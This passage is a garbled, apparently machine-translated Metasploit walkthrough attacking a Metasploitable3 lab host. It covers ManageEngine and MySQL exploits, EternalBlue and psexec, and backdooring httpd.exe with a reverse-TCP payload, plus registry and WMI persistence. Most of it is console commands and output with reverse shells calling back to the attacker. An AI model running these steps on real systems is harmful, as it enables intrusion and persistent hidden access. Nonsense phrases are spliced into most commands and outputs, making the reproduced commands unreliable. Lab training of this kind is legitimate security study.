[*] Meterpreter session 2 opened (192.168.177.143:4444 -> 192.168.177.144:49555) It’s not like I’m gonna be able to do this. 2019-04-26 17:32:58 +0800
-
-
meterpreter > sysinfo
-
Computer : METASPLOITABLE3
-
OS: Windows 2008 R2 (Build 7601, Service Pack 1).
-
Architecture : x64
-
System Language: en_US
-
Domain: WORKGROUP
-
Logged On Users : 2
-
Meterpreter : x86/windows
-
meterpreter > getuid
-
Server username: NT AUTHORITY\LOCAL SERVICE
-
meterpreter >
-
Copy Code
Attack!ManageEngine Desktop Central 9
-
-
msf5 exploit(multi/http/jenkins_script_console) > search type:exploit Manageengine
-
-
Matching Modules
-
================
-
-
# Name Disclosure Date Rank Check Description
-
– —- ————— —- —– ———–
-
1 exploit/multi/http/eventlog_file_upload 2014-08-31 excellent Yes ManageEngine Eventlog Analyzer Arbitrary File Upload
-
2 exploit/multi/http/manage_engine_dc_pmp_sqli 2014-06-08 excellent Yes ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
-
3 exploit/multi/http/manageengine_auth_upload 2014-12-15 excellent Yes ManageEngine Multiple Products Authenticated File Upload
-
4 exploit/multi/http/manageengine_sd_uploader 2015-08-20 excellent Yes ManageEngine ServiceDesk More Arbitrary File Upload
-
5 exploit/multi/http/manageengine_search_sqli 2012-10-18 excellent Yes ManageEngine Security Manager More 5.5 Build 5505 SQL Injection
-
6 exploit/multi/http/opmanager_socialit_file_upload 2014-09-27 excellent Yes ManageEngine OpManager I’m sorry. Social IT Arbitrary File Upload
-
7 exploit/windows/http/desktopcentral_file_upload 2013-11-11 excellent Yes ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload
-
8 exploit/windows/http/desktopcentral_statusupdate_upload 2014-08-31 excellent Yes ManageEngine Desktop Central StatusUpdate Arbitrary File Upload
-
9 exploit/windows/http/manage_engine_opmanager_rce 2015-09-14 manual Yes ManageEngine OpManager Remote Code Execution
-
10 exploit/windows/http/manageengine_adshacluster_rce 2018-06-28 excellent Yes Manage Engine Exchange Reporter More Unauthenticated RCE
-
11 exploit/windows/http/manageengine_appmanager_exec 2018-03-07 excellent Yes ManageEngine Applications Manager Remote Code Execution
-
12 exploit/windows/http/manageengine_apps_mngr 2011-04-08 average No, no. ManageEngine Applications Manager Authenticated Code Execution
-
13 exploit/windows/http/manageengine_connectionid_write 2015-12-14 excellent Yes ManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability
-
14 exploit/windows/misc/manageengine_eventlog_analyzer_rce 2015-07-11 manual Yes ManageEngine EventLog Analyzer Remote Code Execution
-
-
-
msf5 exploit(multi/http/jenkins_script_console) >
-
Copy Code
-
msf5 exploit(multi/http/jenkins_script_console) > # I’m not gonna let you go # exploit/windows/http/manageengine_connectionid_write
-
msf5 exploit(windows/http/manageengine_connectionid_write) > Set PAYLOAD windows/meterpreter/reverse_http
-
PAYLOAD => windows/meterpreter/reverse_http
-
msf5 exploit(windows/http/manageengine_connectionid_write) > Set LHOST 192.168.177.143
-
LHOST => 192.168.177.143
-
msf5 exploit(windows/http/manageengine_connectionid_write) > exploit
-
-
[–] Exploit failed: The following options failed to validate: RHOSTS.
-
[*] Exploited completed, I’m sorry, but… No, no. session Was… created.
-
msf5 exploit(windows/http/manageengine_connectionid_write) > Set RHOSTS 192.168.177.144
-
RHOSTS => 192.168.177.144
-
msf5 exploit(windows/http/manageengine_connectionid_write) > exploit
-
-
[*] Started HTTP reverse handler I’m sorry. http://192.168.177.143:8080
-
[*] Creating JSP stager
-
[*] Uploading JSP stager uBzAP.jsp…
-
[*] Executing stager…
-
[*] http://192.168.177.143:8080 handling request from 192.168.177.144; (UUID: tsqgh8zb) Staging x86 payload (180825 bytes) …
-
[*] Meterpreter session 3 opened (192.168.177.143:8080 -> 192.168.177.144:49632) It’s not like I’m gonna be able to do this. 2019-04-26 17:39:09 +0800
-
[!] This exploit Maybe. require manual cleanup Of course. ‘../webapps/DesktopCentral/jspf/uBzAP.jsp’ I’m sorry. That’s it. target
-
-
meterpreter >
-
meterpreter > getuid
-
Server username: NT AUTHORITY\LOCAL SERVICE
-
meterpreter > sysinfo
-
Computer : METASPLOITABLE3
-
OS : Windows 2008 R2 (Build 7601, Service Pack 1).
-
Architecture : x64
-
System Language: en_US
-
Domain : WORKGROUP
-
Logged On Users : 2
-
Meterpreter : x86/windows
-
meterpreter >
-
Copy Code
5. Utilization of public services
Some services were associated with most other targeted services when the breach was attacked, and in most cases they were neglected.
Preparatory work
In this section, we will use the most common and vulnerable services in the target environment –Mysql. Most of the time, we can use it.MysqlService because they’re installed for development purposes.rootPassword or set a strong password.Metasploitable3As a target.
How?
Use the target.MysqlService, let’s use it first.MySQLCount the targets in the module, then use theOracle MySQL for the Microsoft Windows PayloadThe attack module to get the remote host.shell. TIP:mysql_paylodThe module is in the new edition.MetasploitIt’s been removed. But you can take it from https://www.exploit-db.com/download/16957Download this module and put it onMetasploitCorresponding module directory(s)/usr/share/metasploit-framework/modules/exploits/windows/mysql) The first few actions to modify the code are as follows.
-
##
-
# $Id: mysql_payload.rb 11899 2011-03-08 22:42:26Z todb $
-
##
-
-
##
-
# This file is part of the Metasploit Framework and may be subject to
-
# redistribution and commercial restrictions. Please see the Metasploit
-
# Framework web site for more information on licensing and terms of use.
-
# http://metasploit.com/framework/
-
##
-
-
require ‘msf/core’
-
-
class MetasploitModule < Msf::Exploit::Remote
-
Rank = ExcellentRanking
-
-
include Msf::Exploit::Remote::MYSQL
-
include Msf::Exploit::CmdStager
-
-
Copy Code
Enumeration:
-
msf5 auxiliary(admin/mysql/mysql_enum) > use auxiliary/admin/mysql/mysql_enum
-
msf5 auxiliary(admin/mysql/mysql_enum) > Set RHOSTS 192.168.177.144
-
RHOSTS => 192.168.177.144
-
msf5 auxiliary(admin/mysql/mysql_enum) > set USERNAME root
-
USERNAME => root
-
msf5 auxiliary(admin/mysql/mysql_enum) > Run!
-
[*] Running module against 192.168.177.144
-
-
[*] 192.168.177.144:3306 – Running MySQL Enumerator…
-
[*] 192.168.177.144:3306 – Enumerating Parameters
-
[*] 192.168.177.144:3306 – MySQL Version: 5.5.20-Log.
-
[*] 192.168.177.144:3306 – Compiled You know, for… the following OS: Win64.
-
[*] 192.168.177.144:3306 – Architecture: x86
-
[*] 192.168.177.144:3306 – Server Hostname: available3
-
[*] 192.168.177.144:3306 – Data Directory: c:\wamp\bin\mysql\mysql5.5.20\data\
-
[*] 192.168.177.144:3306 – Logging of queries and logins: OFF
-
[*] 192.168.177.144:3306 – Old Password Hashing Algorithm OFF
-
[*] 192.168.177.144:3306 – Loading of local files: ON
-
[*] 192.168.177.144:3306 – Deny logins with old Pre-4.1 Passwords: OFF
-
[*] 192.168.177.144:3306 – Allow Use of symlinks You know, for… Database Files: YES
-
[*] 192.168.177.144:3306 – Allow Table Merge:
-
[*] 192.168.177.144:3306 – SSL. Connection: DISABLED
-
[*] 192.168.177.144:3306 – Enumerating Accounts:
-
[*] 192.168.177.144:3306 – List of Accounts with Password Hashes:
-
[+] 192.168.177.144:3306 – User: root Host: localhost Password Hash:
-
[+] 192.168.177.144:3306 – User: root Host: 127.0.0.1 Password Hash:
-
[+] 192.168.177.144:3306 – User: root Host: ::1 Password Hash:
-
[+] 192.168.177.144:3306 – User: Host: localhost Password Hash:
-
[+] 192.168.177.144:3306 – User: root Host: % Password Hash:
-
[*] 192.168.177.144:3306 – The following users have GRANT Privilege:
-
[*] 192.168.177.144:3306 – User: root Host: localhost
-
[*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
-
[*] 192.168.177.144:3306 – User: root Host: ::1
-
[*] 192.168.177.144:3306 – The following users have CREATE USER Privilege:
-
[*] 192.168.177.144:3306 – User: root Host: localhost
-
[*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
-
[*] 192.168.177.144:3306 – User: root Host: ::1
-
[*] 192.168.177.144:3306 – User: root Host: %
-
[*] 192.168.177.144:3306 – The following users have RELOAD Privilege:
-
[*] 192.168.177.144:3306 – User: root Host: localhost
-
[*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
-
[*] 192.168.177.144:3306 – User: root Host: ::1
-
[*] 192.168.177.144:3306 – User: root Host: %
-
[*] 192.168.177.144:3306 – The following users have SHUTDOWN Privilege:
-
[*] 192.168.177.144:3306 – User: root Host: localhost
-
[*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
-
[*] 192.168.177.144:3306 – User: root Host: ::1
-
[*] 192.168.177.144:3306 – User: root Host: %
-
[*] 192.168.177.144:3306 – The following users have SUPER Privilege:
-
[*] 192.168.177.144:3306 – User: root Host: localhost
-
[*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
-
[*] 192.168.177.144:3306 – User: root Host: ::1
-
[*] 192.168.177.144:3306 – User: root Host: %
-
[*] 192.168.177.144:3306 – The following users have FILE Privilege:
-
[*] 192.168.177.144:3306 – User: root Host: localhost
-
[*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
-
[*] 192.168.177.144:3306 – User: root Host: ::1
-
[*] 192.168.177.144:3306 – User: root Host: %
-
[*] 192.168.177.144:3306 – The following users have PROCESS Privilege:
-
[*] 192.168.177.144:3306 – User: root Host: localhost
-
[*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
-
[*] 192.168.177.144:3306 – User: root Host: ::1
-
[*] 192.168.177.144:3306 – User: root Host: %
-
[*] 192.168.177.144:3306 – The following accounts have privileges to the mysql database:
-
[*] 192.168.177.144:3306 – User: root Host: localhost
-
[*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
-
[*] 192.168.177.144:3306 – User: root Host: ::1
-
[*] 192.168.177.144:3306 – User: root Host: %
-
[*] 192.168.177.144:3306 – Anonymous Accounts are Present:
-
[*] 192.168.177.144:3306 – User: Host: localhost
-
[*] 192.168.177.144:3306 – The following accounts have empty passwords:
-
[*] 192.168.177.144:3306 – User: root Host: localhost
-
[*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
-
[*] 192.168.177.144:3306 – User: root Host: ::1
-
[*] 192.168.177.144:3306 – User: Host: localhost
-
[*] 192.168.177.144:3306 – User: root Host: %
-
[*] 192.168.177.144:3306 – The following accounts are not restricted by source:
-
[*] 192.168.177.144:3306 – User: root Host: %
-
[*] Auxiliary module execution completed
-
msf5 auxiliary(admin/mysql/mysql_enum) >
-
Copy Code
Attack:
-
msf5> # I’m not gonna let you go # exploit/windows/mysql/mysql_payload
-
msf5 exploit(windows/mysql/mysql_payload) > show options
-
msf5 exploit(windows/mysql/mysql_payload) > Set RHOSTS 192.168.177.144
-
RHOSTS => 192.168.177.144
-
msf5 exploit(windows/mysql/mysql_payload) > Set PAYLOAD windows/meterpreter/reverse_tcp
-
PAYLOAD => windows/meterpreter/reverse_tcp
-
msf5 exploit(windows/mysql/mysql_payload) > Set LHOST 192.168.177.143
-
LHOST => 192.168.177.143
-
msf5 exploit(windows/mysql/mysql_payload) > Set LPORT 4444
-
LPORT => 4444
-
msf5 exploit(windows/mysql/mysql_payload) > exploit
-
[*] Started reverse TCP handler I’m sorry. 192.168.177.143:4444
-
[*] 192.168.177.144:3306 – Checking target architecture…
-
[*] 192.168.177.144:3306 – Checking You know, for… sys_exec()…
-
[*] 192.168.177.144:3306 – sys_exec() already available, using that (override with Force_UDF_UPLOAD)
-
[*] 192.168.177.144:3306 – Command Stager progress – 1.47% done (1499/102246 bytes)
-
[*] 192.168.177.144:3306 – Command Stager progress – 2.93% done (2998/102246 bytes)
-
[*] 192.168.177.144:3306 – Command Stager progress – 4.40% done (4497/102246 bytes)
-
[*] 192.168.177.144:3306 – Command Stager progress – 5.86% done (5996/102246 bytes)
-
……
-
[*] Sending stage (179779 bytes) I’m sorry. 192.168.177.144
-
[*] 192.168.177.144:3306 – Command Stager progress – 100.00% done (102246/102246 bytes)
-
[*] Meterpreter session 1 opened (192.168.177.143:4444 -> 192.168.177.144:55358) It’s not like I’m gonna be able to do this. 2019-04-26 16:25:45 +0800
-
-
meterpreter > getuid
-
Server username: NT AUTHORITY\SYSTEM
-
meterpreter >
-
Copy Code
If the targetMysqlNo SettingsrootPassword, so you can use MySQLService UploadshellAnd get remote access to the system. It’s just like above. So don’t forget the basic service penetration tests. Even if you think that no one is stupid enough to configure uncoded services.
Six, MS17-010 Blue of Eternal SMB remote code for Windows inner nuclear damage.
Reuse information collected during the information-gathering and scanning phases, in particularMS17-010 SMB RCEThe output of the test aids module allows us to turn to the next vulnerable service.
Preparatory work
MS17-010 EthernalBlue SMB Remote Windows Kernel Pool CorruptionThe attack module is…Equation Group ETERNALBLUEPart of it.Equation Group ETERNALBLUEYes.FuzzBunch toolkitPart of it.Shadow BrokrsAccessed and made public by the United States National Security Agency (NSA).ETERNALBLUEIt’s usually thought of as a resultNSADevelop. It usessrv.sysI’m working on it.SrvOs2FeaListSizeToNtWhen the logic is wrong, it leads to cross-border copies and thus spills over the buffer zone, allowing us to carry out arbitrary orders.WannaCryExtortion software to attack. This loophole affects all operationsSMBv1Service not updatedSMBSafety patch.WindowsComputers andWindowsServers.
How?
Organisationms17_010_eternalblueModules, Set TargetIPAddress, SettingsPayloadAnd then they’re going to attack.
-
msf5 exploitation(windows/smb/ms17_010_eternalblue) > Set RHOSTS 192.168.177.144
-
RHOSTS => 192.168.177.144
-
msf5 exploitation(windows/smb/ms17_010_eternalblue) > Set PAYLOAD windows/x64/meterpreter/reverse_tcp
-
PAYLOAD => windows/x64/meterpreter/reverse_tcp
-
msf5 exploitation(windows/smb/ms17_010_eternalblue) > Set LHOST 192.168.177.143
-
LHOST => 192.168.177.143
-
msf5 exploitation(windows/smb/ms17_010_eternalblue) > Set LPORT 4444
-
msf5 exploitation(windows/smb/ms17_010_eternalblue) > exploit
-
-
[*] Started reverse TCP handler I’m sorry. 192.168.177.143:4444
-
[*] 192.168.177.144:445 – Connecting I’m sorry. target You know, for… exploitation.
-
[+] 192.168.177.144:445 – Connection established You know, for… exploitation.
-
[+] 192.168.177.144:445 – Target OS selected valid You know, for… OS indicated I don’t know. SMB reply
-
[*] 192.168.177.144:445 – CORE I’m sorry, Raw. buffer dump (51 bytes)
-
[*] 192.168.177.144:445 – 0x10000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
-
[*] 192.168.177.144:445 – 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
-
[*] 192.168.177.144:445 – 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac.
-
[*] 192.168.177.144:445 – 0x00000030 6b 20 31 k 1
-
[+] 192.168.177.144:445 – Target arch selected valid You know, for… arch indicated I don’t know. DCE/RPC reply
-
[*] 192.168.177.144:445 – Trying exploit with 12 Groom Allocations.
-
[*] 192.168.177.144:445 – Sending All of them. I’m sorry, but… last fragment Of course. exploit packet
-
[*] 192.168.177.144:445 – Starting non-paged pool grooming
-
[+] 192.168.177.144:445 – Sending SMBv2 buffers
-
[+] 192.168.177.144:445 – Closing SMBv1 Connection creating free hole adjacent I’m sorry. SMBv2 buffer.
-
[*] 192.168.177.144:445 – Sending Final SMBv2 buffers.
-
[*] 192.168.177.144:445 – Sending last fragment Of course. exploit packet!
-
[*] 192.168.177.144:445 – Receiving response from exploit packet
-
[+] 192.168.177.144:445 – ETERNALBLUE overwrite completed successfully (0xC000000D)
-
[*] 192.168.177.144:445 – Sending I don’t know. I’m sorry. corrupted Connection.
-
[*] 192.168.177.144:445 – Triggering free Of course. corrupted buffer.
-
[*] Meterpreter session 1 opened (192.168.177.143:4444 -> 192.168.177.144:49655) It’s not like I’m gonna be able to do this. 2019-04-26 17:40:54 +0800
-
[+] 192.168.177.144:445 – =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-
[+] 192.168.177.144:445 – ♪———————————————————————————————————————————————————————————
-
[+] 192.168.177.144:445 – =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-
-
meterpreter >
-
meterpreter > sysinfo
-
Computer : METASPLOITABLE3
-
OS : Windows 2008 R2 (Build 7601, Service Pack 1).
-
Architecture : x64
-
System Language: en_US
-
Domain : WORKGROUP
-
Logged On Users : 2
-
Meterpreter : x64/windows
-
meterpreter > getuid
-
Server username: NT AUTHORITY\SYSTEM
-
meterpreter >
-
-
Copy Code
7、MS17-010 EternalRomance/EternalSynergy/EternalChampion
MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code ExecutionThe attack module can also be used.MS17-0101The loophole is exploited. And more than that.EnternalBlueMore reliable, but with a naming pipeline.
How?
Use modulems17_010_psexec
-
msf5 > # I’m not gonna let you go # exploit/windows/smb/ms17_010_psexec
-
msf5 exploit(windows/smb/ms17_010_psexec) > Set RHOSTS 192.168.177.144
-
RHOSTS => 192.168.177.144
-
msf5 exploit(windows/smb/ms17_010_psexec) > Set PAYLOAD windows/meterpreter/reverse_tcp
-
PAYLOAD => windows/meterpreter/reverse_tcp
-
msf5 exploit(windows/smb/ms17_010_psexec) > Set LHOST 192.168.177.143
-
LHOST => 192.168.177.143
-
msf5 exploit(windows/smb/ms17_010_psexec) > exploit
-
-
[*] Started reverse TCP handler I’m sorry. 192.168.177.143:4444
-
[*] 192.168.177.144:445 – Target OS: Windows Server 2008 R2 Standard 7601 Service Pack 1
-
[*] 192.168.177.144:445 – Built a write-what-where primitive…
-
[+] 192.168.177.144:445 – Overwrite complete… SYSTEM session obtained!
-
[*] 192.168.177.144:445 – Selecting PowerShell target
-
[*] 192.168.177.144:445 – Executing That’s it. payload…
-
[+] 192.168.177.144:445 – Service start timed Out, OK If… running a command # Or # non-service executable…
-
[*] Sending stage (179779 bytes) I’m sorry. 192.168.177.144
-
[*] Meterpreter session 2 opened (192.168.177.143:4444 -> 192.168.177.144:62432) It’s not like I’m gonna be able to do this. 2019-04-28 09:37:48 +0800
-
-
meterpreter > getuid
-
Server username: NT AUTHORITY\SYSTEM
-
meterpreter > sysinfo
-
Computer : METASPLOITABLE3
-
OS: Windows 2008 R2 (Build 7601, Service Pack 1).
-
Architecture : x64
-
System Language: en_US
-
Domain: WORKGROUP
-
Logged On Users : 2
-
Meterpreter : x86/windows
-
meterpreter >
-
Copy Code
8. Installation of the back door
AccessshellAfter that, if we need to ensure a sustainable access system, we need to install the back door.
Preparatory work
We’ve got the target machine.sessionWe’ll use it.meterpreter sessionTo install a back door service. Here you go.httpd.exeExample.
-
meterpreter > Ps. -S httpd.exe
-
Filtering I’m sorry. ‘httpd.exe’
-
Process List
-
============
-
PID PPID Name Arch Session User Path
-
— —- —- —- ——- —- —-
-
1304 1816 dcserverhttpd.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\ManageEngine\DesktopCentral_Server\apache\bin\dcserverhttpd.exe
-
1816 472 dcserverhttpd.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\ManageEngine\DesktopCentral_Server\apache\bin\dcserverhttpd.exe
-
3180 472 httpd.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\wamp\bin\apache\Apache2.2.21\bin\httpd.exe
-
3880 3180 httpd.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\wamp\bin\apache\Apache2.2.21\bin\httpd.exe
-
meterpreter >
-
Copy Code
Next, we’ll use it.windowsThe registration form persistence module is installed with the system’s startup back door.WMI(Windows Management Information) Create a back door without files.
How?
1. The back door cannot be installed while the program is running, so kill the process first
-
meterpreter > kill 3880
-
Killing: 3880
-
meterpreter >
-
Copy Code
2. Programs that will need to be replaced with back doors downloaded
-
meterpreter > download C:\\wamp\\# By the way\\apache\\apache2.2.21\\# By the way\\httpd.exe
-
[*] Downloading: C:\wamp\# By the way\apache\apache2.2.21\# By the way\httpd.exe –> httpd.exe
-
[*] Downloaded 21.00 KiB Of course. 21.00 KiB (100.0%): C:\wamp\# By the way\apache\apache2.2.21\# By the way\httpd.exe –> httpd.exe
-
[*] download : C:\wamp\# By the way\apache\apache2.2.21\# By the way\httpd.exe –> httpd.exe
-
meterpreter >
-
Copy Code
Go back to the backstage, usereverse_tcpAttack load, usegenerateGenerates a back door file.
-
msf5 exploit(windowsI don’t know. /smb/ms17_010_psexec) > use payload/windows/x64/meterpreter/reverse_tcp
-
msf5 payload(windows/x64meterpreter/reverse_tcp) > Set LHOST 192.168.177.143
-
LHOST => 192.168.177.143
-
msf5 payload(windows/x64meterpreter/reverse_tcp) > generate -p Windows -x /root/httpd.exe -k -f exe -o /root/httpd-backdoored.exe
-
[*] Writing 29184 bytes to /root/httpd-backdoored.exe…
-
msf5 payload(windows/x64meterpreter/reverse_tcp) >
-
Copy Code
Aboutgenerate, you can view help information
-
msf5 payload(windows/x64/meterpreter/reverse_tcp) > generate -h
-
Usage: generate [options]
-
Generates a payload.
-
OPTIONS:
-
-
-E Force encoding
-
-O <I don’t know.> Deprecated: alias You know, for… That’s it. “-o” option
-
-P <I don’t know.> Total desired payload size, auto-produce approproate NOPsled length
-
-S <I don’t know.> The new section name I’m sorry. use when generating (large) Windows binaries
-
– B-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b—-b-b-b-b-b-b–b–b-b-b— <I don’t know.> The list Of course. characters I’m sorry. avoid example: ‘\x00\xff’
-
– E-e-e. <I don’t know.> The encoder I’m sorry. # I’m not gonna let you go #
-
– F-f. <I don’t know.> Output format: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh,psh-cmd,psh-net,psh-reflection,vba,vba-x,vba-psh,vb
-
-h Show this message
-
– I don’t know. <I don’t know.> The number Of course. times I’m sorry. encode the payload
-
-k Preserve the template behavior I’m sorry. inject the payload # As if a new thread
-
– No, I don’t. <I don’t know.> Prepend a nopsled Of course. [length] size I’m sorry. I’m sorry. the payload
-
– Oh, my God. <I don’t know.> The output file name (otherwise stdout)
-
P-p. <I don’t know.> The platform Of course. the payload
-
– I’m sorry. <I don’t know.> NOP sled length.
-
– x-x. <I don’t know.> Specify a custom executable file I’m sorry. # I’m not gonna let you go # # As if a template
-
Copy Code
4. Activate a listening, monitor the reverse connection of the back door and useexpolit -jRun in the background
-
msf5 payload(windows/x64/meterpreter/reverse_tcp) > # I’m not gonna let you go # exploit/multi/handler
-
msf5 exploit(multi/handler) > Set payload windows/x64/meterpreter/reverse_tcp
-
payload => windows/x64/meterpreter/reverse_tcp
-
msf5 exploit(multi/handler) > Set LHOST 192.168.177.143
-
LHOST => 192.168.177.143
-
msf5 exploit(multi/handler) > exploit – J-J.
-
[*] Exploited running # As if background @elder: %1 0.
-
[*] Exploited completed, I’m sorry, but… No, no. session Was… created.
-
-
[*] Started reverse TCP handler I’m sorry. 192.168.177.143:4444
-
msf5 exploit(multi/handler) >
-
Copy Code
Five, cut back.meterpreter session, upload the back door file and rename it.
-
msf5 exploit(multi/handler) > sessions -i 3
-
[*] Starting interaction with 3...
-
-
meterpreter > cd C:\\wamp\\bin\\apache\\apache2.2.21\\bin ⁇
-
meterpreter > mv httpd.exe httpd.exe.backup
-
meterpreter > upload /root/httpd-backdoored.exe
-
[*] uploading : /root/httpd-backdoored.exe -> httpd-backdoored.exe
-
[*] Uploaded 28.50 KiB of 28.50 KiB()100.0%): /root/httpd-backdoored.exe -> httpd-backdoored.exe
-
[*] uploaded : /root/httpd-backdoored.exe -> httpd-backdoored.exe
-
meterpreter > mv httpd-backdoored.exe httpd.exe
-
meterpreter >
-
-
Copy Code
6. UseshellCommand to target system.shell, resetwampapacheServices.
-
meterpreter > shell
-
Process 1976 created.
-
Channel 3 created.
-
Microsoft Windows [Version 6.1.7601]
-
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
-
-
C:\wamp\bin\apache\apache2.2.21\bin>net stop wampapache
-
Net stop wampapache
-
The wampapache service is stopping.net sta
-
The wampapache service was stopped successfully.
-
C:\wamp\bin\apache\apache2.2.21\bin>net start wampapache
-
-
Sending stage (206403 bytes) to 192.168.177.144
-
Net start wampapache
-
The wampapache service is starting.
-
The wampapache service was started successfully.
-
-
Copy Code
You’ll find that after service starts, you return to a new session.
-
C:\wamp\bin\apache\apache2.2.21\bin>[*] Meterpreter session 4 opened (192.168.177.143:4444 -> 192.168.177.144:63068) It’s not like I’m gonna be able to do this. 2019-04-28 10:32:44 +0800
-
[*] Sending stage (206403 bytes) I’m sorry. 192.168.177.144
-
[*] Meterpreter session 5 opened (192.168.177.143:4444 -> 192.168.177.144:63069) It’s not like I’m gonna be able to do this. 2019-04-28 10:32:59 +0800
-
….
-
msf5 exploit(multi/handler) > sessions – I’m sorry.
-
-
Active sessions
-
===============
-
-
Id. Name Type Information Connection
-
— —- —- ———– ———-
-
3 meterpreter x86/windows NT AUTHORITY\SYSTEM @ METASPLOITABLE3 192.168.177.143:4444 -> 192.168.177.144:62506 (192.168.177.144)
-
4 meterpreter x64/windows NT AUTHORITY\LOCAL SERVICE @ METASPLOITABLE3 192.168.177.143:4444 -> 192.168.177.144:63068 (192.168.177.144)
-
5 meterpreter x64/windows NT AUTHORITY\LOCAL SERVICE @ METASPLOITABLE3 192.168.177.143:4444 -> 192.168.177.144:63069 (192.168.177.144)
-
-
msf5 exploit(multi/handler) >
-
Copy Code
7. UseWindowsThe registration form lasting module is implanted in the back door. We use the conversation obtained by the Blue Entire Attack for rear-door implantation.
-
msf5 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/local/registry_persistence
-
smsf5 exploit(windows/local/registry_persistence) > Set SESSION 6
-
SESSION => 6
-
msf5 exploit(windows/local/registry_persistence) > Set PAYLOAD windows/meterpreter/reverse_tcp
-
PAYLOAD => windows/meterpreter/reverse_tcp
-
msf5 exploit(windows/local/registry_persistence) > Set LHOST 192.168.177.143
-
LHOST => 192.168.177.143
-
msf5 exploit(windows/local/registry_persistence) > Set LPORT 9999
-
msf5 exploit(windows/local/registry_persistence) > exploit
-
-
[*] Generating payload blob..
-
[+] Generated payload, 5944 bytes
-
[*] Root path Yes. HKCU
-
[*] Installing payload blob..
-
[+] Created registry key HKCU\Software\cPH3pG4G
-
[+] Installed payload blob I’m sorry. HKCU\Software\cPH3pG4G\q3jhQYTs
-
[*] Installing run key
-
[-] Exploit aborted due I’m sorry. failure: unknown: Could I don’t know, not… install run key
-
msf5 exploit(windows/local/registry_persistence) >
-
-
Copy Code
This is not implanted successfully because of environmental problems. 8 If successful, then you can set up a listening so that the target can be reversed when restartedshellSession
-
msf5 exploit(multi/handler) > Set PAYLOAD windows/meterpreter/reverse_tcp
-
PAYLOAD => windows/meterpreter/reverse_tcp
-
msf5 exploit(multi/handler) > Set LHOST 192.168.177.143
-
LHOST => 192.168.177.143
-
msf5 exploit(multi/handler) > Set LPORT 9999
-
LPORT => 9999
-
msf5 exploit(multi/handler) > exploit -j
-
[*] Exploit running # As if background job 1.
-
[*] Exploit completed, but No, no. session was created.
-
-
[*] Started reverse TCP handler I’m sorry. 192.168.177.143:9999
-
msf5 exploit(multi/handler) >
-
Copy Code
9 When the target machine is restarted, a session is available.
-
meterpreter > reboot
-
Rebooting…
-
-
Copy Code
10. UtilizationWMIEvent subscription to create no file back door
-
msf5 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/local/wmi_persisence
-
msf5 exploit(windows/local/wmi_persisence) > Set SESSION 1
-
SESSION => 1
-
msf5 exploit(windows/local/wmi_persisence) > Set CALLBACK_INTERVAL 60000 / Set callback time is 1 minute
-
CALLBACK_INTERVAL => 60000
-
msf5 exploit(windows/local/wmi_persisence) > Set EVENT_ID_TRIGGER 4624 // Setup Event ID
-
EVENT_ID_TRIGER => 4624
-
msf5 exploit(windows/local/wmi_persisence) > Set USERNAME_TRIGGER Administrator / Setup user
-
USERNAME_TRIGER => Administrator
-
msf5 exploit(windows/local/wmi_persisence) > Set PAYLOAD windows/meterpreter/reverse_tcp
-
PAYLOAD => windows/meterpreter/reverse_tcp
-
smsf5 exploit(windows/local/wmi_persisence) > Set LHOST 192.168.177.143
-
LHOST => 192.168.177.143
-
msf5 exploit(windows/local/wmi_persisence) > Set LPORT 4433
-
LPORT => 4433
-
msf5 exploit(windows/local/wmi_persisence) > exploit
-
-
[-] This module cannot run # As if System
-
Copy Code
11, tip failed. We can use it.migrateWillmeterpreter shellThe process is moving, that’s what it will be.meterpreter shellProcesses migrate to processes of relatively stable applications.
-
msf5 exploit(windows/local/wmi_persisence) > sessions – I don’t know. 1
-
[*] Starting interaction with 1…
-
-
meterpreter > Ps.
-
-
Process List
-
============
-
-
PID PPID Name Arch Session User Path
-
— —- —- —- ——- —- —-
-
0 0 [System Process]
-
4 0 System x64 0
-
232 4 smss.exe x64 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
-
300 472 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE
-
316 304 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
-
324 5624 explorer.exe x64 1 METASPOITABLE3\vagarian C:\Windows\Explorer.EXE
-
…..
-
meterpreter > migrate -N explorer.exe / Process migration may not always be successful and can be tried several times more
-
[*] Migrating from 1088 I’m sorry. 5624…
-
[*] Migration completed successfully.
-
meterpreter >
-
Copy Code
And then attack again.
-
meterpreter > background
-
